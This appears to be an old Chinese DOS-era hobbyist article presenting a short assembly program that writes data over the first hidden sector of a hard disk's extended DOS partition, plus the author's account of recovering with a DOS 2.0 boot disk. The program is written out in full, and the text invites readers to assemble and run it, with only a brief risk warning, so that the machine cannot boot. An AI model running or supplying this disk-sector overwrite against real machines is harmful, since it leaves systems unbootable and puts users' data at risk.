注:此程序有一定的风险性。老妖也没有试过。希望大家考虑清楚了再行事。
要不是亲自试一下,你一定不会相信,运行下面的程序,你的机器将不能从软盘启动,更不能从硬盘启动。而这个程序仅仅修改了你的硬盘的扩展DOS分区的首隐藏扇区。
code segment
assume cs:code,ds:code
org 100h
begin:
xor ax,ax
mov dl,80h
int 13h ;复位硬盘
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h ;读主引导扇区到200H
mov cx,ds:[3d0h]
mov [3ceh],0
mov bx,210h
mov ax,301h
int 13h ;写扩展分区首隐藏扇区
int 19h ;快启动
code ends
end begin
程序很短,你可以在DEBUG中输入并运行。在编译成.com 之后,运行之前请保存好硬盘的扩展DOS分区的首隐藏扇区的内容,以备将来恢复时用。
笔者是在编制一个硬盘加锁程序时,因计算有误而偶然发现这一点的。仅仅因为修改硬盘一个隐藏扇区,造成机器从软硬盘都不能启动,从未见资料提及。作者当时很惊讶。
为了解决问题,笔者按复位键,进入CMOS设置,将硬盘设置为未安装,则可以从软盘启动,但是,使用INT13h仍不能读写硬盘,因此无法将被破坏的扇区复原。
笔者估计是引导过程中,读取硬盘分区表时形成循环的缘故。理由有两点:
1、因为仅仅修改硬盘一个扇区,造成了如此现象,而该扇区仅记录了硬盘分区表的一些信息;
2、启动过程中,不管从软盘启动还是从硬盘启动,最终的现象都是硬盘灯第亮。因此,换用不支持硬盘分区的低版本DOS系统盘也许能够启动,使用2.0版的系统盘,果然可以在CMOS设置为硬盘正常安装的情况下启动机器,启动后虽仍不能进入硬盘,但可以用INT13h读写硬盘。在DEBUG中用正常的内容覆盖硬盘的扩展DOS分区的首隐藏扇,重新启动机器,成功。